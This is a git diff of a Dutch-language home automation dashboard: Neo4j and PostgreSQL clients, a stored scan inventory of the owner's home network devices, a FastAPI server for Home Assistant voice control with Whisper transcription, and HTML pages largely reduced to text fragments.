_driver + + +def close(): + global _driver + if _driver: + _driver.close() + _driver = None + + +# ── Schema setup ──────────────────────────────────────────────────────────── + +SCHEMA_QUERIES = [ + "CREATE CONSTRAINT device_ip IF NOT EXISTS FOR (d:Device) REQUIRE d.ip IS UNIQUE", + "CREATE INDEX device_hostname IF NOT EXISTS FOR (d:Device) ON (d.hostname)", + "CREATE INDEX device_os IF NOT EXISTS FOR (d:Device) ON (d.os_guess)", + "CREATE INDEX port_service IF NOT EXISTS FOR (p:Port) ON (p.service)", +] + + +def init_schema(): + """Creëer constraints en indexes.""" + driver = get_driver() + with driver.session() as session: + for query in SCHEMA_QUERIES: + try: + session.run(query) + except Exception as e: + if "already exists" not in str(e).lower(): + logger.warning("Schema fout: %s", e) + logger.info("Neo4j schema gereed.") + + +# ── Import ────────────────────────────────────────────────────────────────── + + +def import_scan(devices: list[dict], network: str = "192.168.1.0/24") -> str: + """ + Importeer scanresultaten in Neo4j. + + Args: + devices: Lijst van dicts met: + ip, hostname, mac, os_guess, open_ports: [int], banners: {port: str} + network: CIDR notatie van gescande netwerk + + Returns: + Samenvattingsstring. + """ + driver = get_driver() + scan_id = f"scan-{datetime.now(timezone.utc).strftime('%Y%m%d-%H%M%S')}" + timestamp = datetime.now(timezone.utc).isoformat() + + total_ports = sum(len(d.get("open_ports", [])) for d in devices) + + with driver.session() as session: + # Maak ScanRun node + session.run( + """ + CREATE (s:ScanRun { + id: $scan_id, + timestamp: datetime($timestamp), + network: $network, + hosts_scanned: $total_hosts, + hosts_active: $total_hosts + }) + """, + scan_id=scan_id, timestamp=timestamp, network=network, + total_hosts=len(devices), + ) + + for device in devices: + ip = device["ip"] + hostname = device.get("hostname", ip) + mac = device.get("mac", "") + os_guess = device.get("os_guess", "Onbekend") + open_ports = device.get("open_ports", []) + banners = device.get("banners", {}) + + # Upsert Device (MERGE op IP) + session.run( + """ + MERGE (d:Device {ip: $ip}) + SET d.hostname = $hostname, + d.mac = CASE WHEN $mac <> '' THEN $mac ELSE d.mac END, + d.os_guess = $os_guess, + d.last_seen = datetime($timestamp) + FOREACH (_ IN CASE WHEN d.first_seen IS NULL THEN [1] ELSE [] END | + SET d.first_seen = datetime($timestamp) + ) + WITH d + MATCH (s:ScanRun {id: $scan_id}) + MERGE (d)-[:FOUND_IN]->(s) + """, + ip=ip, hostname=hostname, mac=mac, os_guess=os_guess, + timestamp=timestamp, scan_id=scan_id, + ) + + # Upsert Port nodes + HAS_PORT relaties + for port in open_ports: + banner = banners.get(port, "") + try: + import socket + service = socket.getservbyport(port, "tcp") + except Exception: + service = "unknown" + + session.run( + """ + MERGE (p:Port {number: $port, protocol: 'tcp'}) + SET p.service = $service, + p.banner = CASE WHEN $banner <> '' THEN $banner ELSE p.banner END + WITH p + MATCH (d:Device {ip: $ip}) + MERGE (d)-[:HAS_PORT]->(p) + """, + port=port, service=service, banner=banner, ip=ip, + ) + + # Verwijder oude HAS_PORT relaties voor poorten die niet meer open zijn + if open_ports: + session.run( + """ + MATCH (d:Device {ip: $ip})-[r:HAS_PORT]->(p:Port) + WHERE NOT p.number IN $open_ports + DELETE r + """, + ip=ip, open_ports=open_ports, + ) + + summary = ( + f"Scan '{scan_id}' geimporteerd: {len(devices)} devices, " + f"{total_ports} open poorten." + ) + logger.info(summary) + return summary + + +# ── Query functies ────────────────────────────────────────────────────────── + + +def get_all_devices() -> list[dict]: + """Alle bekende devices met hun poorten.""" + driver = get_driver() + with driver.session() as session: + result = session.run( + """ + MATCH (d:Device) + OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port) + RETURN d.ip AS ip, d.hostname AS hostname, d.mac AS mac, + d.os_guess AS os_guess, d.first_seen AS first_seen, + d.last_seen AS last_seen, + collect({port: p.number, service: p.service, banner: p.banner}) AS ports + ORDER BY d.ip + """ + ) + return [record.data() for record in result] + + +def get_device(ip: str) -> dict | None: + """Eén device inclusief poorten.""" + driver = get_driver() + with driver.session() as session: + result = session.run( + """ + MATCH (d:Device {ip: $ip}) + OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port) + RETURN d.ip AS ip, d.hostname AS hostname, d.mac AS mac, + d.os_guess AS os_guess, d.last_seen AS last_seen, + collect({port: p.number, service: p.service, banner: p.banner}) AS ports + """, + ip=ip, + ) + record = result.single() + return record.data() if record else None + + +def get_devices_by_os(os_guess: str) -> list[dict]: + """Zoek devices op OS-substring.""" + driver = get_driver() + with driver.session() as session: + result = session.run( + """ + MATCH (d:Device) + WHERE d.os_guess CONTAINS $os + RETURN d.ip AS ip, d.hostname AS hostname, d.os_guess AS os_guess + ORDER BY d.ip + """, + os=os_guess, + ) + return [record.data() for record in result] + + +def get_devices_by_port(port: int) -> list[dict]: + """Devices met een specifieke open poort.""" + driver = get_driver() + with driver.session() as session: + result = session.run( + """ + MATCH (d:Device)-[:HAS_PORT]->(p:Port {number: $port}) + RETURN d.ip AS ip, d.hostname AS hostname, p.service AS service, + p.banner AS banner + ORDER BY d.ip + """, + port=port, + ) + return [record.data() for record in result] + + +def get_scan_history(limit: int = 5) -> list[dict]: + """Recente scanruns.""" + driver = get_driver() + with driver.session() as session: + result = session.run( + """ + MATCH (s:ScanRun) + RETURN s.id AS id, s.timestamp AS timestamp, s.network AS network, + s.hosts_active AS hosts_active + ORDER BY s.timestamp DESC + LIMIT $limit + """, + limit=limit, + ) + return [record.data() for record in result] + + +def get_network_summary() -> dict: + """High-level netwerkoverzicht.""" + driver = get_driver() + with driver.session() as session: + result = session.run( + """ + MATCH (d:Device) + OPTIONAL MATCH (d)-[:HAS_PORT]->(p:Port) + RETURN count(DISTINCT d) AS total_devices, + count(DISTINCT p) AS total_ports, + collect(DISTINCT d.os_guess) AS os_types + """ + ) + return result.single().data() diff --git a/src/pg_client.py b/src/pg_client.py new file mode 100644 index 0000000..9422474 --- /dev/null +++ b/src/pg_client.py @@ -0,0 +1,77 @@ +""" +PostgreSQL client voor het Home Dashboard. +Connecteert naar Synology PostgreSQL 192.168.1.211:5433. +""" + +from __future__ import annotations + +import logging +from contextlib import contextmanager + +import psycopg2 +import psycopg2.pool +import psycopg2.extras + +import config + +logger = logging.getLogger(__name__) + +_pool: psycopg2.pool.ThreadedConnectionPool | None = None + + +def get_pool(): + global _pool + if _pool is None: + _pool = psycopg2.pool.ThreadedConnectionPool( + minconn=2, + maxconn=10, + host=config.PG_HOST, + port=config.PG_PORT, + user=config.PG_USER, + password=config.PG_PASSWORD, + dbname=config.PG_DATABASE, + ) + logger.info("PostgreSQL pool aangemaakt (%s:%s/%s)", + config.PG_HOST, config.PG_PORT, config.PG_DATABASE) + return _pool + + +@contextmanager +def get_conn(): + """Context manager voor een PostgreSQL connectie.""" + pool = get_pool() + conn = pool.getconn() + conn.autocommit = False + try: + yield conn + except Exception: + conn.rollback() + raise + finally: + pool.putconn(conn) + + +def query(sql: str, params: tuple | dict | None = None, fetch: str = "all"): + """Voer een query uit en retourneer resultaten.""" + with get_conn() as conn: + with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur: + cur.execute("SET search_path TO dashboard, public;") + cur.execute(sql, params or ()) + if fetch == "all": + return [dict(row) for row in cur.fetchall()] + elif fetch == "one": + row = cur.fetchone() + return dict(row) if row else None + elif fetch == "none": + conn.commit() + return None + + +def execute(sql: str, params: tuple | dict | None = None) -> int: + """Voer een INSERT/UPDATE/DELETE uit, retourneer rowcount.""" + with get_conn() as conn: + with conn.cursor() as cur: + cur.execute("SET search_path TO dashboard, public;") + cur.execute(sql, params or ()) + conn.commit() + return cur.rowcount diff --git a/src/scan_data.py b/src/scan_data.py new file mode 100644 index 0000000..d92334e --- /dev/null +++ b/src/scan_data.py @@ -0,0 +1,53 @@ +""" +Scanresultaten van 2026-05-10 — 192.168.1.0/24. +17 actieve hosts (ICMP) + 2 handmatig toegevoegd (.211 Synology, .235 Home Assistant). +""" + +SCAN_RESULTS = [ + {"ip": "192.168.1.1", "hostname": "setup.ui.com", "mac": "D8:B3:70:93:B1:AB", + "os_guess": "Router/Gateway (UniFi Dream Machine)", "open_ports": [22, 53], "banners": {}}, + {"ip": "192.168.1.2", "hostname": "ESP_5FC20A.localdomain", "mac": "84:0D:8E:5F:C2:0A", + "os_guess": "ESP32 IoT", "open_ports": [], "banners": {}}, + {"ip": "192.168.1.6", "hostname": "vaultwarden.localdomain", "mac": "", + "os_guess": "Linux (Vaultwarden)", "open_ports": [22, 8000], "banners": {}}, + {"ip": "192.168.1.7", "hostname": "roborock-vacuum-a51.localdomain", "mac": "", + "os_guess": "Roborock Stofzuiger", "open_ports": [], "banners": {}}, + {"ip": "192.168.1.24", "hostname": "unifi.localdomain", "mac": "", + "os_guess": "UniFi Controller", "open_ports": [80, 443, 8080, 8443, 9443], + "banners": {80: "HTTP/1.1 301 Moved Permanently", 443: "HTTP/1.1 400 Bad Request", 8080: "HTTP/1.1 400"}}, + {"ip": "192.168.1.25", "hostname": "pve-scripts-local.localdomain", "mac": "", + "os_guess": "Linux (Proxmox Scripts)", "open_ports": [22], "banners": {}}, + {"ip": "192.168.1.65", "hostname": "lwip0.localdomain", "mac": "", + "os_guess": "Linux (lwip0 interface)", "open_ports": [], "banners": {}}, + {"ip": "192.168.1.78", "hostname": "Galaxy-Tab-S2.localdomain", "mac": "", + "os_guess": "Android Tablet (Galaxy Tab S2)", "open_ports": [], "banners": {}}, + {"ip": "192.168.1.82", "hostname": "APIsra.localdomain", "mac": "", + "os_guess": "UniFi AP Israe", "open_ports": [22, 80], + "banners": {80: "HTTP/1.1 302 Moved Temporarily"}}, + {"ip": "192.168.1.91", "hostname": "APWoonkamer.localdomain", "mac": "", + "os_guess": "UniFi AP Woonkamer", "open_ports": [22, 80], + "banners": {80: "HTTP/1.1 302 Moved Temporarily"}}, + {"ip": "192.168.1.125", "hostname": "US-16-150W.localdomain", "mac": "", + "os_guess": "UniFi Switch 16-150W", "open_ports": [22], "banners": {}}, + {"ip": "192.168.1.142", "hostname": "linkwarden.localdomain", "mac": "", + "os_guess": "Linux (Linkwarden)", "open_ports": [22, 80], + "banners": {80: "HTTP/1.1 200 OK"}}, + {"ip": "192.168.1.166", "hostname": "", "mac": "", + "os_guess": "Windows Desktop (SMB+RPC)", "open_ports": [135, 445], "banners": {}}, + {"ip": "192.168.1.174", "hostname": "precision.localdomain", "mac": "", + "os_guess": "Windows Desktop (SMB+RPC)", "open_ports": [135, 139, 445], "banners": {}}, + {"ip": "192.168.1.179", "hostname": "FlexminiSerre.localdomain", "mac": "", + "os_guess": "UniFi Flex Mini (Serre)", "open_ports": [22], "banners": {}}, + {"ip": "192.168.1.244", "hostname": "", "mac": "00:9A:34:79:3E:03", + "os_guess": "Webserver (onbekend)", "open_ports": [80], + "banners": {80: "HTTP/1.0 404 Not Found"}}, + {"ip": "192.168.1.246", "hostname": "wlan0.localdomain", "mac": "", + "os_guess": "WiFi Client (wlan0)", "open_ports": [], "banners": {}}, + # ── handmatig toegevoegd (niet in ICMP-scan maar bevestigd actief) ────── + {"ip": "192.168.1.211", "hostname": "synology.localdomain", "mac": "", + "os_guess": "Synology NAS (Docker + Neo4j + Gitea)", "open_ports": [3000, 5000, 5433, 49153], + "banners": {5000: "Synology DSM Web UI", 3000: "Gitea Git Server"}}, + {"ip": "192.168.1.235", "hostname": "homeassistant.localdomain", "mac": "", + "os_guess": "Home Assistant", "open_ports": [8123], + "banners": {8123: "Home Assistant API"}}, +] diff --git a/src/web_server.py b/src/web_server.py new file mode 100644 index 0000000..6befaf3 --- /dev/null +++ b/src/web_server.py @@ -0,0 +1,280 @@ +""" +FastAPI web server voor de Home Assistant Voice Control webinterface. + +Biedt endpoints voor: +- Audio upload → transcriptie → HA actie +- Tekstcommando's +- Entity state opvragen +- Statische bestanden (frontend) + +Start met: + uvicorn src.web_server:app --host 127.0.0.1 --port 8765 +""" + +from __future__ import annotations + +import logging +from pathlib import Path + +from fastapi import FastAPI, File, UploadFile, Form, HTTPException +from fastapi.middleware.cors import CORSMiddleware +from fastapi.staticfiles import StaticFiles +from fastapi.responses import FileResponse, JSONResponse +import pydantic + +from src.ha_client import HAClient +from src import whisper_client +from src.dashboard_api import router as dashboard_router +import config + +# ── logging ───────────────────────────────────────────────────────────────── + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(levelname)s] %(name)s: %(message)s", +) +logger = logging.getLogger("web-server") + +# ── app ───────────────────────────────────────────────────────────────────── + +app = FastAPI( + title="HA Voice Control", + description="Webinterface voor spraakgestuurde Home Assistant bediening", + version="1.0.0", +) + +# CORS — sta externe toegang toe (voor nginx proxy / aparte frontend hosting) +app.add_middleware( + CORSMiddleware, + allow_origins=config.CORS_ORIGINS, + allow_credentials=True, + allow_methods=["*"], + allow_headers=["*"], +) + +ha = HAClient() + + +# ── pydantic modellen ─────────────────────────────────────────────────────── + + +class CommandRequest(pydantic.BaseModel): + text: str + + +class LightControlRequest(pydantic.BaseModel): + entity_id: str + action: str = "toggle" # turn_on, turn_off, toggle + brightness: int | None = None + color_name: str | None = None + + +class ServiceRequest(pydantic.BaseModel): + domain: str + service: str + entity_id: str | None = None + + +# ── API routes ────────────────────────────────────────────────────────────── + + +@app.get("/api/health") +async def health(): + """Health check endpoint.""" + return {"status": "ok", "ha_url": config.HA_URL} + + +@app.post("/api/transcribe") +async def transcribe_audio_endpoint(audio: UploadFile = File(...)): + """Upload audio, transcribeer met Whisper en voer uit via Home Assistant. + + Accepteert WAV audio via multipart/form-data. + Retourneert de transcriptie en het HA-resultaat. + """ + if not audio.content_type or "audio" not in audio.content_type: + # Sta ook application/octet-stream toe (sommige browsers sturen dit) + logger.info("Content-Type is %s, doorgaan...", audio.content_type) + + try: + audio_bytes = await audio.read() + except Exception as e: + logger.exception("Fout bij lezen audio") + raise HTTPException(400, f"Kan audio niet lezen: {e}") + + if len(audio_bytes) == 0: + raise HTTPException(400, "Geen audio ontvangen (lege upload)") + + logger.info("Audio ontvangen: %d bytes", len(audio_bytes)) + + # Transcriptie + try: + text = await whisper_client.transcribe(audio_bytes) + except Exception as e: + logger.exception("Transcriptie mislukt") + return JSONResponse( + {"error": f"Transcriptie fout: {e}", "text": "", "ha_result": None}, + status_code=500, + ) + + if not text.strip(): + return { + "text": "", + "ha_result": None, + "message": "Geen spraak gedetecteerd", + } + + # Stuur naar Home Assistant conversation agent + try: + ha_result = await ha.process_conversation(text) + except Exception as e: + logger.exception("HA conversation agent fout") + return { + "text": text, + "ha_result": None, + "error": f"Home Assistant fout: {e}", + } + + return { + "text": text, + "ha_result": ha_result, + } + + +@app.post("/api/command") +async def text_command(req: CommandRequest): + """Stuur een tekstcommando naar de Home Assistant conversation agent.""" + if not req.text.strip(): + raise HTTPException(400, "Leeg commando") + + try: + result = await ha.process_conversation(req.text.strip()) + except Exception as e: + logger.exception("HA command fout") + raise HTTPException(500, f"Home Assistant fout: {e}") + + return {"text": req.text, "ha_result": result} + + +@app.get("/api/lights") +async def list_lights(): + """Retourneer alle lampen met hun huidige status.""" + try: + lights = await ha.list_lights() + except Exception as e: + raise HTTPException(500, f"Home Assistant fout: {e}") + + return [ + { + "entity_id": l.get("entity_id"), + "state": l.get("state"), + "friendly_name": (l.get("attributes", {}) or {}).get("friendly_name", ""), + "brightness": (l.get("attributes", {}) or {}).get("brightness"), + "color": (l.get("attributes", {}) or {}).get("rgb_color"), + } + for l in lights + ] + + +@app.post("/api/light/control") +async def control_light(req: LightControlRequest): + """Bedien een specifieke lamp.""" + try: + result = await ha.control_light( + req.entity_id, + req.action, + req.brightness, + req.color_name, + ) + except Exception as e: + raise HTTPException(500, f"Fout bij bedienen lamp: {e}") + + return {"success": True, "result": result} + + +@app.get("/api/entities") +async def list_entities(domain: str | None = None): + """Retourneer entities, optioneel gefilterd op domein.""" + try: + entities = await ha.list_all_entities(domain) + except Exception as e: + raise HTTPException(500, f"Home Assistant fout: {e}") + + # Samenvatting teruggeven om response beheersbaar te houden + return [ + { + "entity_id": e.get("entity_id"), + "state": e.get("state"), + "friendly_name": (e.get("attributes", {}) or {}).get("friendly_name", ""), + } + for e in entities + ] + + +@app.get("/api/entity/{entity_id}") +async def get_entity(entity_id: str): + """Haal de volledige state van één entity op.""" + try: + state = await ha.get_entity_state(entity_id) + except Exception as e: + raise HTTPException(500, f"Home Assistant fout: {e}") + + return state + + +@app.post("/api/service") +async def call_service(req: ServiceRequest): + """Roep een willekeurige Home Assistant service aan.""" + target = {"entity_id": req.entity_id} if req.entity_id else None + try: + result = await ha.call_service(req.domain, req.service, target=target) + except Exception as e: + raise HTTPException(500, f"Service fout: {e}") + + return {"success": True, "result": result} + + +# ── Dashboard API ─────────────────────────────────────────────────────────── + +app.include_router(dashboard_router) + + +# ── statische bestanden (frontend) ────────────────────────────────────────── + + +@app.get("/") +async def index(): + """Serveer de hoofdpagina (voice control).""" + return FileResponse(config.STATIC_DIR / "index.html") + + +@app.get("/dashboard") +async def dashboard(): + """Serveer het Home Dashboard.""" + return FileResponse(config.STATIC_DIR / "dashboard.html") + + +# Mount static dir voor CSS/JS/favicon +if config.STATIC_DIR.exists(): + app.mount("/static", StaticFiles(directory=str(config.STATIC_DIR)), name="static") + + +# ── entry point ───────────────────────────────────────────────────────────── + + +def main(): + import uvicorn + + logger.info( + "Starten web server op %s:%d ...", config.WEB_HOST, config.WEB_PORT + ) + uvicorn.run( + "src.web_server:app", + host=config.WEB_HOST, + port=config.WEB_PORT, + reload=False, + log_level="info", + ) + + +if __name__ == "__main__": + main() diff --git a/src/whisper_client.py b/src/whisper_client.py new file mode 100644 index 0000000..b60de36 --- /dev/null +++ b/src/whisper_client.py @@ -0,0 +1,105 @@ +""" +Whisper speech-to-text client. +Ondersteunt zowel lokale faster-whisper als de OpenAI API. +""" + +from __future__ import annotations + +import io +import logging +import tempfile +from pathlib import Path + +import config + +logger = logging.getLogger(__name__) + +# ── lazy imports ──────────────────────────────────────────────────────────── + +_whisper_model = None + + +def _get_local_model(): + """Laad (en cache) het lokale faster-whisper model.""" + global _whisper_model + if _whisper_model is not None: + return _whisper_model + + from faster_whisper import WhisperModel + + logger.info( + "Laden van faster-whisper model '%s' op device '%s'...", + config.WHISPER_MODEL, + config.WHISPER_DEVICE, + ) + _whisper_model = WhisperModel( + config.WHISPER_MODEL, + device=config.WHISPER_DEVICE, + compute_type="int8", # efficient voor CPU; "float16" voor GPU + ) + logger.info("Whisper model geladen.") + return _whisper_model + + +# ── public API ────────────────────────────────────────────────────────────── + + +async def transcribe(audio_bytes: bytes) -> str: + """Transcribeer audio (WAV/MP3) naar tekst. + + Retourneert de herkende tekst. + """ + if config.WHISPER_MODE == "openai": + return await _transcribe_openai(audio_bytes) + else: + return await _transcribe_local(audio_bytes) + + +async def _transcribe_local(audio_bytes: bytes) -> str: + """Lokale transcriptie via faster-whisper.""" + model = _get_local_model() + + # Schrijf audio naar een tijdelijk bestand (faster-whisper werkt met paden) + with tempfile.NamedTemporaryFile(suffix=".wav", delete=False) as tmp: + tmp.write(audio_bytes) + tmp_path = Path(tmp.name) + + try: + segments, info = model.transcribe( + str(tmp_path), + language="nl", # Nederlands als voorkeurstaal + beam_size=5, + ) + logger.info( + "Whisper detecteerde taal: %s (kans: %.2f)", + info.language, + info.language_probability, + ) + + text = " ".join(seg.text.strip() for seg in segments) + logger.info("Transcriptie: %s", text) + return text + + finally: + tmp_path.unlink(missing_ok=True) + + +async def _transcribe_openai(audio_bytes: bytes) -> str: + """Transcriptie via de OpenAI Whisper API.""" + import openai + + client = openai.AsyncOpenAI(api_key=config.OPENAI_API_KEY) + + # OpenAI verwacht een bestands-object + audio_file = io.BytesIO(audio_bytes) + audio_file.name = "audio.wav" + + transcript = await client.audio.transcriptions.create( + model="whisper-1", + file=audio_file, + language="nl", + response_format="text", + ) + + logger.info("OpenAI transcriptie: %s", transcript) + return transcript.strip() diff --git a/static/dashboard.html b/static/dashboard.html new file mode 100644 index 0000000..7989588 --- /dev/null +++ b/static/dashboard.html @@ -0,0 +1,950 @@ + + + + + +Home Dashboard + + + + + + + + +
+
+

Overzicht

+
+
+ --:--:-- + +
+
+ +
+ +
+
+
+

📊 Stats

+
+
+
+

📅 Vandaag

+
Laden...
+
+
+
+

⚡ Quick Links

+ +
+
+ + +
+
+

🌐 Thuisnetwerk 192.168.1.0/24

Laden...
+
+
+

📊 Poort-statistieken

+
+
+
+

📋 Laatste scans

+
+
+
+
+ + +
+
+

🖥️ Alle Systemen

+
+ +
+
+
+
+
+ + +
+
+

⚙️ Configuratie & Status

+
Laden...
+
+
+ + +
+
+

💡 Lampen

+
Laden...
+
+
+ + +
+
+
+

+
+ + + +
+
+
+
+
+

Events

+ +
+
Selecteer een dag
+
+
+
+ + +
+
+

📁 Bestanden

+ +
+
+
+
+
+ + +
+
+

🖼️ Foto's

+ +
+
Nog geen foto's geindexeerd
+
+
+ + +
+
+

🔑 Opgeslagen wachtwoorden

+
+ + +
+
+
+
+
+ + + + +
+
+ + + + + + + diff --git a/static/index.html b/static/index.html new file mode 100644 index 0000000..731605e --- /dev/null +++ b/static/index.html @@ -0,0 +1,591 @@ + + + + + + HA Voice Control + + + + +
+

🏠 Home Assistant Voice Control

+

Druk op de microfoon, spreek je commando, en laat los

+
+ +
+
+ Verbinden... +
+ + +
+
+ +
+
Houd ingedrukt om te spreken
+ + +
+ + + + + +
+

💡 Lampen

+
+
Laden...
+
+
+ + + +